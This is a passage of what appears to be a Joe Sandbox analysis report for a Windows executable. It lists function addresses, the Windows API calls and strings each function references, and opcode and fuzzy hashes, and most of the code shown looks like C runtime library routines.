Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: c2016361b9a202e33e16e1aa200e640e5cdd72cb80c696406574d654a1428c77
Instruction ID: 909ac8b86152ff03c6e1bcb65fdbc0d4b2c025499ff9244ba004446d2f997e09
Opcode Fuzzy Hash: c2016361b9a202e33e16e1aa200e640e5cdd72cb80c696406574d654a1428c77
Instruction Fuzzy Hash: D7316EB6619B829AFB649F64E8413EDB360FB94704F90407ADA4D47B94EF38D548C720

Function 00007FF73A3F8CFC Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF73A3F8D28
GetCurrentThreadId.KERNEL32 ref: 00007FF73A3F8D36
GetCurrentProcessId.KERNEL32 ref: 00007FF73A3F8D42
QueryPerformanceCounter.KERNEL32 ref: 00007FF73A3F8D52

Strings

|~fqVG, xrefs: 00007FF73A3F8D09

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID: |~fqVG
API String ID: 2933794660-3303519982
Opcode ID: 175403f887a107761204df3119ca0200cdd13c37828f298386d6700f57525c95
Instruction ID: e4745a6358af34455982f8d20072638055be90e3bd3ec83bb9f14a19c465536f
Opcode Fuzzy Hash: 175403f887a107761204df3119ca0200cdd13c37828f298386d6700f57525c95
Instruction Fuzzy Hash: AD11A026B14F0599FB00DF64E8492B873A0FB29718F810E31DE2D867A4DF7CD0589350

Function 00007FF73A40E5FC Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A40492C: GetLastError.KERNEL32 ref: 00007FF73A40493B
Part of subcall function 00007FF73A40492C: FlsGetValue.KERNEL32 ref: 00007FF73A404950
Part of subcall function 00007FF73A40492C: SetLastError.KERNEL32 ref: 00007FF73A4049DB

Part of subcall function 00007FF73A40492C: FlsSetValue.KERNEL32 ref: 00007FF73A404971

GetLocaleInfoW.KERNEL32 ref: 00007FF73A40E668

Part of subcall function 00007FF73A40A490: _invalid_parameter_noinfo.LIBCMT ref: 00007FF73A40A4AD

GetLocaleInfoW.KERNEL32 ref: 00007FF73A40E6B1

Part of subcall function 00007FF73A40A490: _invalid_parameter_noinfo.LIBCMT ref: 00007FF73A40A506

GetLocaleInfoW.KERNEL32 ref: 00007FF73A40E779

Strings

|~fqVG, xrefs: 00007FF73A40E611

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: InfoLocale$ErrorLastValue_invalid_parameter_noinfo
String ID: |~fqVG
API String ID: 1791019856-3303519982
Opcode ID: 8380d45a326b3d1e8aced02d63fd4f4030e7a97d598a3e3abbdea63c338b2f08
Instruction ID: 84178fd4af4acf1b91cce72f96453e3e7bfe4b1f92a1fd59aeb8f0f83df827a4
Opcode Fuzzy Hash: 8380d45a326b3d1e8aced02d63fd4f4030e7a97d598a3e3abbdea63c338b2f08
Instruction Fuzzy Hash: 1361D27AA08542A6FB74EF18E4432B9F3A0FB84744F868175C75E83691DF3CE460A721

Function 00007FF73A3F7D74 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF73A3F7DD5
IsDebuggerPresent.KERNEL32 ref: 00007FF73A3F7DED
OutputDebugStringW.KERNEL32 ref: 00007FF73A3F7DFE

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00007FF73A3F7DF7

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: DebugDebuggerErrorLastOutputPresentString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 389471666-631824599
Opcode ID: d67c635758605ed6479ea3d4b4b08c5c799a1697d5db29fb57afd5ba643e8a04
Instruction ID: 2e46266179389ec31793b063bdc9b8a2c598f6c091679556cfba4f2b2716661c
Opcode Fuzzy Hash: d67c635758605ed6479ea3d4b4b08c5c799a1697d5db29fb57afd5ba643e8a04
Instruction Fuzzy Hash: D0119436614B42A3F705AB26E6423B973A0FF14340F914079C65D42A60EF3CE474D760

Function 00007FF73A3F6A04 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41windowCOMMON

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32(?,?,?,?,?,?,00000000,00007FF73A3F18C5), ref: 00007FF73A3F6A2A
FormatMessageA.KERNEL32 ref: 00007FF73A3F6A5D

Strings

!x-sys-default-locale, xrefs: 00007FF73A3F6A1D

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: FormatInfoLocaleMessage
String ID: !x-sys-default-locale
API String ID: 4235545615-2729719199
Opcode ID: e7fe5703d7bd3fcf55848a10b898419f89e1f05d712649635250529f0732eae7
Instruction ID: b8bdc28d411367da1cdb89b0af7a6c7f637e204de7490c107125a6f7d96816ec
Opcode Fuzzy Hash: e7fe5703d7bd3fcf55848a10b898419f89e1f05d712649635250529f0732eae7
Instruction Fuzzy Hash: EF01D6B6B1878292FB109B12F40177AB7A1F7947C4F948076DA4D07A94CF3CD5049B10

Function 00007FF73A3FF824 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 373COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32 ref: 00007FF73A3FF96C

Strings

|~fqVG, xrefs: 00007FF73A3FF843

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: Info
String ID: |~fqVG
API String ID: 1807457897-3303519982
Opcode ID: 62ae6bd87548852ade8d5229f9a0f32bc70b976a0d0d75707d729192d03f9c5c
Instruction ID: 5641923b9bd31664015394ecc650f0d659b4395c58394eac11b2c084a040b107
Opcode Fuzzy Hash: 62ae6bd87548852ade8d5229f9a0f32bc70b976a0d0d75707d729192d03f9c5c
Instruction Fuzzy Hash: 6812D326A19BC296E751DF3894062FDB3A4FB59748F469239EF8D43652DF38E180D310

Function 00007FF73A40AAE0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 149COMMON

Download Yara Rule

Strings

|~fqVG, xrefs: 00007FF73A40AC7E

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID:
String ID: |~fqVG
API String ID: 0-3303519982
Opcode ID: 573914a0e995c993a2e3199d19d82ec6dd91bce4a71a613a89b342e65d1811eb
Instruction ID: a82d0b0d94af0c7a2d475444e31e6af897e36d80a4b71c321d538ff5bfb2b146
Opcode Fuzzy Hash: 573914a0e995c993a2e3199d19d82ec6dd91bce4a71a613a89b342e65d1811eb
Instruction Fuzzy Hash: 69512626B0868195FB20EB7AA8015AEFBA1FB807D4F954134EE4C27A85CF3CD005E701

Function 00007FF73A40E844 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A40492C: GetLastError.KERNEL32 ref: 00007FF73A40493B
Part of subcall function 00007FF73A40492C: FlsGetValue.KERNEL32 ref: 00007FF73A404950
Part of subcall function 00007FF73A40492C: SetLastError.KERNEL32 ref: 00007FF73A4049DB

Part of subcall function 00007FF73A40492C: FlsSetValue.KERNEL32 ref: 00007FF73A404971

GetLocaleInfoW.KERNEL32 ref: 00007FF73A40E8AC

Strings

|~fqVG, xrefs: 00007FF73A40E856

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: ErrorLastValue$InfoLocale
String ID: |~fqVG
API String ID: 673564084-3303519982
Opcode ID: 33dce63c000d8f8ecba602ed5e9c9b01eb30c559286b4661bb96ac18289c62d7
Instruction ID: 7ca18e6ff0025dcb6b66994d8fc0c35b954630366c732c843f51ee75d3ff0f61
Opcode Fuzzy Hash: 33dce63c000d8f8ecba602ed5e9c9b01eb30c559286b4661bb96ac18289c62d7
Instruction Fuzzy Hash: 3831D636A0828256FB64EB29E4433BAF391FB84744F858075DA5D83685DF3CE520E711

Function 00007FF73A406718 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,?,?,?,?,00007FF73A402AEE), ref: 00007FF73A40678C

Strings

GetLocaleInfoEx, xrefs: 00007FF73A406734, 00007FF73A406745

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: InfoLocale
String ID: GetLocaleInfoEx
API String ID: 2299586839-2904428671
Opcode ID: a658af243d55a89f5ef705efa73716f0020930f295102f0f64cb9cdd66453038
Instruction ID: ea5e217e8a487eb1bc844c2c8d818ea7bfcc4cce92e3e9230ee2c85fa105a98a
Opcode Fuzzy Hash: a658af243d55a89f5ef705efa73716f0020930f295102f0f64cb9cdd66453038
Instruction Fuzzy Hash: 1E01A728B08781A5F700EB5AB4014AAF761AF95FC0FA94075EE4D13765CE7CD5419750

Function 00007FF73A406384 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(?,?,00000000,00007FF73A4066E7,?,?,?,?,?,?,?,?,00000000,00007FF73A40DAE4), ref: 00007FF73A4063D3

Strings

|~fqVG, xrefs: 00007FF73A4063A7, 00007FF73A4063DB

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: EnumLocalesSystem
String ID: |~fqVG
API String ID: 2099609381-3303519982
Opcode ID: 6624756bf7cade8dc1123afc4cca3197e7e1b61b4bdd0de2c75fdcf2745a3b96
Instruction ID: 56e54e5261d587271c5401a3a49970b27b8fde3b81ad46bb2c2187f03e94029e
Opcode Fuzzy Hash: 6624756bf7cade8dc1123afc4cca3197e7e1b61b4bdd0de2c75fdcf2745a3b96
Instruction Fuzzy Hash: 85F08179714B4592F700EB19F8825A9A361EB98780F958075DA0D83364DF3CD451E700

Function 00007FF73A409C78 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF73A409EC7
RaiseException.KERNEL32 ref: 00007FF73A409ED8

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 3399ca020fd9c3d0a4c647ae8a4c7378a3b1d81ee0c34c820329e66b1fe6482f
Instruction ID: 2581a75e3f2e07af8f8fdcc7f204f92415a35217db594432b8c8fdbfe704019e
Opcode Fuzzy Hash: 3399ca020fd9c3d0a4c647ae8a4c7378a3b1d81ee0c34c820329e66b1fe6482f
Instruction Fuzzy Hash: 37B1AC77604B888BEB55DF2DC842368BBA0F780B48F1A8871DB5D837A5CB39D851E711

Function 00007FF73A408340 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 137COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF73A4083E5

Part of subcall function 00007FF73A4062D4: HeapAlloc.KERNEL32(?,?,00000000,00007FF73A404B06,?,?,0000475671667E7C,00007FF73A4006B1,?,?,?,?,00007FF73A40A0B6,?,?,00000000), ref: 00007FF73A406329

Part of subcall function 00007FF73A405CE8: HeapFree.KERNEL32(?,?,00007FF73A40194B,00007FF73A40CF26,?,?,?,00007FF73A40D2A3,?,?,00000000,00007FF73A40D7E1,?,?,?,00007FF73A40D713), ref: 00007FF73A405CFE
Part of subcall function 00007FF73A405CE8: GetLastError.KERNEL32(?,?,00007FF73A40194B,00007FF73A40CF26,?,?,?,00007FF73A40D2A3,?,?,00000000,00007FF73A40D7E1,?,?,?,00007FF73A40D713), ref: 00007FF73A405D08

Part of subcall function 00007FF73A40F210: _invalid_parameter_noinfo.LIBCMT ref: 00007FF73A40F243

Strings

|~fqVG, xrefs: 00007FF73A408352

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: ErrorHeapLast$AllocFree_invalid_parameter_noinfo
String ID: |~fqVG
API String ID: 916656526-3303519982
Opcode ID: 31db45415bd8b84a699b03de4afdfbdb6800616cd27cfa35523224e36fc03502
Instruction ID: 4af58d960a1d18c09ba3cd736cbd853f48392c213a20624b8b42f678aade700c
Opcode Fuzzy Hash: 31db45415bd8b84a699b03de4afdfbdb6800616cd27cfa35523224e36fc03502
Instruction Fuzzy Hash: 78411725B1924321FA70FA2A691377AF6C07F91780F914575EE4D47BC5EE3CE400B622

Function 00007FF73A40C698 Relevance: 1.8, APIs: 1, Instructions: 337COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acd2275a6c80eb91d33dd5139ac4f3b5409aa341ac76b2b834c9fd8d3d7e4b2c
Instruction ID: ec636795949dad6d2ba79fd18380115f3966c6580cd18e4c9192f63f8e4e75bd
Opcode Fuzzy Hash: acd2275a6c80eb91d33dd5139ac4f3b5409aa341ac76b2b834c9fd8d3d7e4b2c
Instruction Fuzzy Hash: ABE1A136A08B8196F720EB65E4412EEB7A0F794788F818631DF8D53B52DF78E245E311

Function 00007FF73A40E494 Relevance: 1.6, APIs: 1, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF73A40492C: GetLastError.KERNEL32 ref: 00007FF73A40493B
Part of subcall function 00007FF73A40492C: FlsGetValue.KERNEL32 ref: 00007FF73A404950
Part of subcall function 00007FF73A40492C: SetLastError.KERNEL32 ref: 00007FF73A4049DB

EnumSystemLocalesW.KERNEL32(?,?,?,00007FF73A40EC83,?,00000000,00000092,?,?,00000000,?,00007FF73A402915), ref: 00007FF73A40E532

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystemValue
String ID:
API String ID: 3029459697-0
Opcode ID: 299e2fb3c39f1723234e1e9a30f7c01ce5d09dac68b119f8fefbba8bba3a8293
Instruction ID: bdbd884e2b137ba97ebd30402328a179a4c632b692ca0380f59bfc99dedc9c38
Opcode Fuzzy Hash: 299e2fb3c39f1723234e1e9a30f7c01ce5d09dac68b119f8fefbba8bba3a8293
Instruction Fuzzy Hash: 9411357BA086419AFB10EF69E0422A8F7A1FB90B90F858131C629433C0DA38D5E1E711

Function 00007FF73A402764 Relevance: 1.6, Strings: 1, Instructions: 309COMMONLIBRARYCODE

Download Yara Rule

Strings

|~fqVG, xrefs: 00007FF73A402780

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: ErrorLastNameTranslate$CodePageValidValue_invalid_parameter_noinfo
String ID: |~fqVG
API String ID: 4023145424-3303519982
Opcode ID: 2193573eb62e0e349bac0217901461b891f751db6f69d9bcdbd2da4b2e5dc450
Instruction ID: 0731a7d182a7a04fedd05d049e613cddff1a57a14a76fc459949424b8a37b43d
Opcode Fuzzy Hash: 2193573eb62e0e349bac0217901461b891f751db6f69d9bcdbd2da4b2e5dc450
Instruction Fuzzy Hash: 07C1F52AA0868265FB64EF6984023BAE7A0FB94788F814075DF8D876C4DF3CD505F712

Function 00007FF73A40EA4C Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A40492C: GetLastError.KERNEL32 ref: 00007FF73A40493B
Part of subcall function 00007FF73A40492C: FlsGetValue.KERNEL32 ref: 00007FF73A404950
Part of subcall function 00007FF73A40492C: SetLastError.KERNEL32 ref: 00007FF73A4049DB

GetLocaleInfoW.KERNEL32(?,?,?,00007FF73A40E7F6), ref: 00007FF73A40EA83

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: ErrorLast$InfoLocaleValue
String ID:
API String ID: 3796814847-0
Opcode ID: 27a870d04b5633b0ce9003d67710837246028b62cd08f72254b1953ba3c47300
Instruction ID: 4426c5cb790911bc90873a361194d749f2255626d7f94b52900516b6398c6858
Opcode Fuzzy Hash: 27a870d04b5633b0ce9003d67710837246028b62cd08f72254b1953ba3c47300
Instruction Fuzzy Hash: EF11BD35B1814253FB34E729E00367EE251FB98750F964231E62D037C0EE6DD8A0BB10

Function 00007FF73A40E564 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF73A40492C: GetLastError.KERNEL32 ref: 00007FF73A40493B
Part of subcall function 00007FF73A40492C: FlsGetValue.KERNEL32 ref: 00007FF73A404950
Part of subcall function 00007FF73A40492C: SetLastError.KERNEL32 ref: 00007FF73A4049DB

EnumSystemLocalesW.KERNEL32(?,?,?,00007FF73A40EC3F,?,00000000,00000092,?,?,00000000,?,00007FF73A402915), ref: 00007FF73A40E5E2

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystemValue
String ID:
API String ID: 3029459697-0
Opcode ID: 388ee0737461765ef09b34f64180d27f0f64b5a2ec9b35637385c1be6d2a8eb3
Instruction ID: 005cd3a23401eed37e3afafd992fd96714123ade5a66398df8aadff4deb15b6d
Opcode Fuzzy Hash: 388ee0737461765ef09b34f64180d27f0f64b5a2ec9b35637385c1be6d2a8eb3
Instruction Fuzzy Hash: 4301F576F082415AF710AB6AE4027B9F2D2EB507A0F868271D628872C4EF6C9491F711

Function 00007FF73A40DBA8 Relevance: 1.5, Strings: 1, Instructions: 271COMMON

Download Yara Rule

Strings

|~fqVG, xrefs: 00007FF73A40DBBD, 00007FF73A40DE9A

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: ErrorLast$Value_invalid_parameter_noinfo
String ID: |~fqVG
API String ID: 1500699246-3303519982
Opcode ID: 83ca80d9d4f9584a6a4f4fc1a54bd5d488d3e5bf467065ee0d380736a2b3f2d8
Instruction ID: 4d9b5dc455ad69c29d330bfe612bf6f187a631a3cfd14043dc84a8c75c4246d9
Opcode Fuzzy Hash: 83ca80d9d4f9584a6a4f4fc1a54bd5d488d3e5bf467065ee0d380736a2b3f2d8
Instruction Fuzzy Hash: 38B10636A1864692FB64FF28D8026B9F391FB50B88F824271DA49836C8DF3CD549F751

Function 00007FF73A401894 Relevance: 1.4, Strings: 1, Instructions: 126COMMON

Download Yara Rule

Strings

|~fqVG, xrefs: 00007FF73A4018C0, 00007FF73A40195E, 00007FF73A401993, 00007FF73A4019C2, 00007FF73A4019E4, 00007FF73A401A02

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

